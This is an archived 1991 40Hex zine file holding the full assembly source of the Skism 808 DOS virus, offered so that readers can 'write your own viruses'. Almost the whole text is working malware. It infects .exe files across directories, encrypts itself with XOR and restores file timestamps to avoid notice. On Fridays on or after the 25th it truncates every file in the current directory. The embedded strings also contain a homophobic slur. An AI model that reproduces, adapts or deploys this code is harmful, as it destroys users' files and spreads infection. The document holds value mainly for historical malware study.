home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_2.010 < prev    next >
Text File  |  1995-01-03  |  12KB  |  331 lines

  1. 40hEX vOLUME 1 iSSUE 2                                                   0010
  2.  
  3.                              tHE 808 vIRUS
  4.  
  5.      hERE ANOTHER VIRUS FROM sKISM.  iT'S A QUICK OVERWRITING VIRUS BUT
  6.      YOU CAN USE THE SOURCE CODE TO WRITE YOUR OWN VIRUSES.
  7.  
  8. ------------------------------------------------------------------------------
  9.  
  10. ;tHE sKISM 808 vIRUS.  cREATED 1991 BY sMART kIDS iNTO sICK mETHODS.
  11.  
  12.  
  13.  
  14. FILENAME   equ      30                 ;USED TO FIND FILE NAME
  15. FILEATTR   equ      21                 ;USED TO FIND FILE ATTRIBUTES
  16. FILEDATE   equ      24                 ;USED TO FIND FILE DATE
  17. FILETIME   equ      22                 ;USED TO FIND FILE TIME
  18.  
  19.  
  20.  
  21. CODE_START equ      0100H              ;START OF ALL .com FILES
  22. VIRUS_SIZE equ      808                ;tr 808
  23.  
  24.  
  25. CODE     SEGMENT  'CODE'
  26. ASSUME   CS:CODE,DS:CODE,ES:CODE
  27.          ORG      CODE_START
  28.  
  29. MAIN PROC   NEAR
  30.  
  31. JMP    VIRUS_START
  32.  
  33. ENCRYPT_VAL    DB
  34.    00H
  35.  
  36. VIRUS_START:
  37.  
  38.      CALL     ENCRYPT                  ;ENCRYPT/DECRYPT FILE
  39.      JMP      VIRUS                    ;GO TO START OF CODE
  40.  
  41. ENCRYPT:
  42.  
  43.      PUSH     CX
  44.      MOV      BX,OFFSET VIRUS_CODE     ;START ENCRYPTION AT DATA
  45.  
  46. XOR_LOOP:
  47.  
  48.      MOV      CH,[BX]                  ;READ CURRENT BYTE
  49.      XOR      CH,ENCRYPT_VAL           ;GET ENCRYPTION KEY
  50.      MOV      [BX],CH                  ;SWITCH BYTES
  51.      INC      BX                       ;MOVE BX UP A BYTE
  52.      CMP      BX,OFFSET VIRUS_CODE+VIRUS_SIZE
  53.                                        ;ARE WE DONE WITH THE ENCRYPTION
  54.      JLE      XOR_LOOP                 ;NO?  KEEP GOING
  55.      POP      CX
  56.      RET
  57.  
  58.  
  59. INFECTFILE:
  60.  
  61.      MOV     DX,CODE_START             ;WHERE VIRUS STARTS IN MEMORY
  62.      MOV     BX,HANDLE                 ;LOAD BX WITH HANDLE
  63.      PUSH    BX                        ;SAVE HANDLE ON STACK
  64.      CALL    ENCRYPT                   ;ENCRYPT FILE
  65.      POP     BX                        ;GET BACK BX
  66.      MOV     C
  67. X,VIRUS_SIZE             ;NUMBER OF BYTES TO WRITE
  68.      MOV     AH,40H                    ;WRITE TO FILE
  69.      INT     21H                       ;
  70.      PUSH    BX
  71.      CALL    ENCRYPT                   ;FIX UP THE MESS
  72.      POP     BX
  73.      RET
  74.  
  75. VIRUS_CODE:
  76.  
  77. WILDCARDS    DB     "*",0              ;SEARCH FOR DIRECTORY ARGUMENT
  78. FILESPEC     DB     "*.exe",0          ;SEARCH FOR exe FILE ARGUMENT
  79. FILESPEC2    DB     "*.*",0
  80. ROOTDIR      DB     "\",0              ;ARGUMENT FOR ROOT DIRECTORY
  81. DIRDATA      DB     43 DUP (?)         ;HOLDS DIRECTORY dta
  82. FILEDATA     DB     43 DUP (?)         ;HOLDS FILES dta
  83. DISKDTASEG   DW     ?                  ;HOLDS DISK DTA SEGMENT
  84. DISKDTAOFS   DW     ?                  ;HOLDS DISK DTA OFFSET
  85. TEMPOFS      DW     ?                  ;HOLDS OFFSET
  86. TEMPSEG      DW     ?                  ;HOLDS SEGMENT
  87. DRIVECODE    DB     ?                  ;HOLDS DRIVE CODE
  88. CURRENTDIR   DB     64 DUP (?)         ;SAVE CURRENT DIRECTORY INTO THIS
  89. HANDLE       DW     ?
  90.          ;HOLDS FILE HANDLE
  91. ORIG_TIME    DW     ?                  ;HOLDS FILE TIME
  92. ORIG_DATE    DW     ?                  ;HOLDS FILE DATE
  93. ORIG_ATTR    DW     ?                  ;HOLDS FILE ATTR
  94. IDBUFFER     DW     2 DUP  (?)         ;HOLDS VIRUS ID
  95.  
  96. VIRUS:
  97.  
  98.       MOV    AX,3000H                  ;GET DOS VERSION
  99.       INT    21H                       ;
  100.       CMP    AL,02H                    ;IS IT AT LEAST 2.00?
  101.       JB     BUS1                      ;WON'T INFECT LESS THAN 2.00
  102.       MOV    AH,2CH                    ;GET TIME
  103.       INT    21H                       ;
  104.       MOV    ENCRYPT_VAL,DL            ;SAVE M_SECONDS TO ENCRYPT VAL SO
  105.                                        ;THERES 100 MUTATIONS POSSIBLE
  106. SETDTA:
  107.  
  108.      MOV     DX,OFFSET DIRDATA         ;OFFSET OF WHERE TO HOLD NEW DTA
  109.      MOV     AH,1AH                    ;SET DTA ADDRESS
  110.      INT     21H                       ;
  111.  
  112. NEWDIR:
  113.  
  114.      MOV     AH,19H                    ;GET DRIVE CODE
  115.      INT     21H
  116.  ;
  117.      MOV     DL,AL                     ;SAVE DRIVECODE
  118.      INC     DL                        ;ADD ONE TO DL, BECAUSE FUNCTIONS DIFFER
  119.      MOV     AH,47H                    ;GET CURRENT DIRECTORY
  120.      MOV     SI, OFFSET CURRENTDIR     ;BUFFER TO SAVE DIRECTORY IN
  121.      INT     21H                       ;
  122.  
  123.      MOV     DX,OFFSET ROOTDIR         ;MOVE DX TO CHANGE TO ROOT DIRECTORY
  124.      MOV     AH,3BH                    ;CHANGE DIRECTORY TO ROOT
  125.      INT     21H                       ;
  126.  
  127. SCANDIRS:
  128.  
  129.      MOV     CX,13H                    ;INCLUDE HIDDEN/RO DIRECTORYS
  130.      MOV     DX, OFFSET WILDCARDS      ;LOOK FOR '*'
  131.      MOV     AH,4EH                    ;FIND FIRST FILE
  132.      INT     21H                       ;
  133.      CMP     AX,12H                    ;NO FIRST FILE?
  134.      JNE     DIRLOOP                   ;NO DIRS FOUND? BAIL OUT
  135.  
  136. BUS1:
  137.  
  138.       JMP    BUS
  139.  
  140. DIRLOOP:
  141.  
  142.      MOV     AH,4FH                    ;FIND NEXT FILE
  143.      INT     21H                       ;
  144.      CMP     AX,12H
  145.      J
  146. E      BUS                       ;NO MORE DIRS FOUND, ROLL OUT
  147.  
  148. CHDIR:
  149.  
  150.      MOV     DX,OFFSET DIRDATA+FILENAME;POINT DX TO FCB - FILENAME
  151.      MOV     AH,3BH                    ;CHANGE DIRECTORY
  152.      INT     21H                       ;
  153.  
  154.      MOV     AH,2FH                    ;GET CURRENT DTA ADDRESS
  155.      INT     21H                       ;
  156.      MOV     [DISKDTASEG],ES           ;SAVE OLD SEGMENT
  157.      MOV     [DISKDTAOFS],BX           ;SAVE OLD OFFSET
  158.      MOV     DX,OFFSET FILEDATA        ;OFFSET OF WHERE TO HOLD NEW DTA
  159.      MOV     AH,1AH                    ;SET DTA ADDRESS
  160.      INT     21H                       ;
  161.  
  162. SCANDIR:
  163.  
  164.      MOV     CX,07H                    ;FIND ANY ATTRIBUTE
  165.      MOV     DX,OFFSET FILESPEC        ;POINT DX TO "*.com",0
  166.      MOV     AH,4EH                    ;FIND FIRST FILE FUNCTION
  167.      INT     21H                       ;
  168.      CMP     AX,12H                    ;WAS FILE FOUND?
  169.      JNE     TRANSFORM
  170.  
  171. NEXTEXE:
  172.  
  173.      MOV     AH,4FH                    ;FIND NE
  174. XT FILE
  175.      INT     21H                       ;
  176.      CMP     AX,12H                    ;NONE FOUND
  177.      JNE     TRANSFORM                 ;FOUND SEE WHAT WE CAN DO
  178.  
  179.      MOV     DX,OFFSET ROOTDIR         ;MOVE DX TO CHANGE TO ROOT DIRECTORY
  180.      MOV     AH,3BH                    ;CHANGE DIRECTORY TO ROOT
  181.      INT     21H                       ;
  182.      MOV     AH,1AH                    ;SET DTA ADDRESS
  183.      MOV     DS,[DISKDTASEG]           ;RESTORE OLD SEGMENT
  184.      MOV     DX,[DISKDTAOFS]           ;RESTORE OLD OFFSET
  185.      INT     21H                       ;
  186.      JMP     DIRLOOP
  187.  
  188.  
  189. BUS:
  190.  
  191.      JMP     ROLLOUT
  192.  
  193. TRANSFORM:
  194.  
  195.      MOV     AH,2FH                    ;TEMPORALLY STORE DTA
  196.      INT     21H                       ;
  197.      MOV     [TEMPSEG],ES              ;SAVE OLD SEGMENT
  198.      MOV     [TEMPOFS],BX              ;SAVE OLD OFFSET
  199.      MOV     DX, OFFSET FILEDATA + FILENAME
  200.  
  201.      MOV     BX,OFFSET FILEDATA               ;SAVE FILE...
  202.      MOV     AX,[BX]+FILEDATE          ;DATE
  203.      MOV
  204.      ORIG_DATE,AX              ;
  205.      MOV     AX,[BX]+FILETIME          ;TIME
  206.      MOV     ORIG_TIME,AX              ;    AND
  207.      MOV     AX,[BX]+FILEATTR          ;
  208.      MOV     AX,4300H
  209.      INT     21H
  210.      MOV     ORIG_ATTR,CX
  211.      MOV     AX,4301H                  ;CHANGE ATTRIBUTES
  212.      XOR     CX,CX                     ;CLEAR ATTRIBUTES
  213.      INT     21H                       ;
  214.      MOV     AX,3D00H                  ;OPEN FILE - READ
  215.      INT     21H                       ;
  216.      JC      FIXUP                     ;ERROR - FIND ANOTHER FILE
  217.      MOV     HANDLE,AX                 ;SAVE HANDLE
  218.      MOV     AH,3FH                    ;READ FROM FILE
  219.      MOV     BX,HANDLE                 ;MOVE HANDLE TO BX
  220.      MOV     CX,02H                    ;READ 2 BYTES
  221.      MOV     DX,OFFSET IDBUFFER        ;SAVE TO BUFFER
  222.      INT     21H                       ;
  223.  
  224.      MOV     AH,3EH                    ;CLOSE FILE FOR NOW
  225.      MOV     BX,HANDLE                 ;LOAD BX WITH HANDLE
  226.      INT     2
  227. 1H                       ;
  228.  
  229.      MOV     BX, IDBUFFER              ;FILL BX WITH ID STRING
  230.      CMP     BX,02EBH                  ;INFECTED?
  231.      JNE     DOIT                      ;SAME - FIND ANOTHER FILE
  232.  
  233.  
  234. FIXUP:
  235.      MOV     AH,1AH                    ;SET DTA ADDRESS
  236.      MOV     DS,[TEMPSEG]              ;RESTORE OLD SEGMENT
  237.      MOV     DX,[TEMPOFS]              ;RESTORE OLD OFFSET
  238.      INT     21H                       ;
  239.      JMP     NEXTEXE
  240.  
  241.  
  242. DOIT:
  243.  
  244.      MOV     DX, OFFSET FILEDATA + FILENAME
  245.      MOV     AX,3D02H                  ;OPEN FILE READ/WRITE ACCESS
  246.      INT     21H                       ;
  247.      MOV     HANDLE,AX                 ;SAVE HANDLE
  248.  
  249.      CALL    INFECTFILE
  250.  
  251.      ;MOV     AX,3EH                    ;CLOSE FILE
  252.      ;INT     21H
  253.  
  254. ROLLOUT:
  255.  
  256.      MOV     AX,5701H                  ;RESTORE ORIGINAL
  257.      MOV     BX,HANDLE                 ;
  258.      MOV     CX,ORIG_TIME              ;TIME AND
  259.      MOV     DX,ORIG_DATE              ;DATE
  260.      INT     21H
  261.     ;
  262.  
  263.      MOV     AX,4301H                  ;RESTORE ORIGINAL ATTRIBUTES
  264.      MOV     CX,ORIG_ATTR
  265.      MOV     DX,OFFSET FILEDATA + FILENAME
  266.      INT     21H
  267.      ;MOV     BX,HANDLE
  268.      ;MOV     AX,3EH                   ;CLOSE FILE
  269.      ;INT     21H
  270.      MOV     AH,3BH                    ;TRY TO FIX THIS
  271.      MOV     DX,OFFSET ROOTDIR         ;FOR SPEED
  272.      INT     21H                       ;
  273.      MOV     AH,3BH                    ;CHANGE DIRECTORY
  274.      MOV     DX,OFFSET CURRENTDIR      ;BACK TO ORIGINAL
  275.      INT     21H                       ;
  276.      MOV     AH,2AH                    ;CHECK SYSTEM DATE
  277.      INT     21H                       ;
  278.      CMP     CX,1991                   ;IS IT AT LEAST 1991?
  279.      JB      AUDI                      ;NO? DON'T DO IT NOW
  280.      CMP     DL,25                     ;IS IT THE 25TH?
  281.      JB      AUDI                      ;NOT YET? QUIT
  282.      CMP     AL,5                      ;IS fRIDAY?
  283.      JNE     AUDI                      ;NO? QUIT
  284.      MOV     D
  285. X,OFFSET DIRDATA         ;OFFSET OF WHERE TO HOLD NEW DTA
  286.      MOV     AH,1AH                    ;SET DTA ADDRESS
  287.      INT     21H                       ;
  288.      MOV     AH,4EH                    ;FIND FIRST FILE
  289.      MOV     CX,7H                     ;
  290.      MOV     DX,OFFSET FILESPEC2       ;OFFSET *.*
  291.  
  292. lOOPS:
  293.  
  294.      INT     21H                       ;
  295.      JC      AUDI                      ;ERROR? THEN QUIT
  296.      MOV     AX,4301H                  ;FIND ALL NORMAL FILES
  297.      XOR     CX,CX                     ;
  298.      INT     21H                       ;
  299.      MOV     DX,OFFSET DIRDATA + FILENAME
  300.      MOV     AH,3CH                    ;FUCK UP ALL FILES IN CURRENT DIR
  301.      INT     21H                       ;
  302.      JC      AUDI                      ;ERROR? QUIT
  303.      MOV     AH,4FH                    ;FIND NEXT FILE
  304.      JMP     LOOPS                     ;
  305.  
  306. AUDI:
  307.  
  308.      MOV     AX,4C00H                  ;END PROGRAM
  309.      INT     21H                       ;
  310.  
  311. ;tHE BELOW IS JUST TEXT TO PAD OUT THE V
  312. IRUS SIZE TO 808 BYTES.  dON'T
  313. ;JUST CHANGE THE TEXT AND CLAIM THAT THIS IS YOUR CREATION.
  314.  
  315.  
  316. WORDS_   DB   "sKISM rYTHEM sTACK vIRUS-808. sMART kIDS iNTO sICK mETHODS",0
  317. WORDS2   DB   "  dONT ALTER THIS CODE INTO YOUR OWN STRAIN, FAGGIT.      ",0
  318. WORDS3   DB   "  hr/sss nycITY, THIS IS THE FIFTH OF MANY, MANY MORE....",0
  319. WORDS4   DB   "  yOU SISSYS.....",0
  320.  
  321. MAIN     ENDP
  322. CODE     ENDS
  323.          END      MAIN
  324.  
  325.  
  326. ------------------------------------------------------------------------------
  327.  
  328.                                                                         hr
  329.  
  330. Downloaded From P-80 International Information Systems 304-744-2253
  331.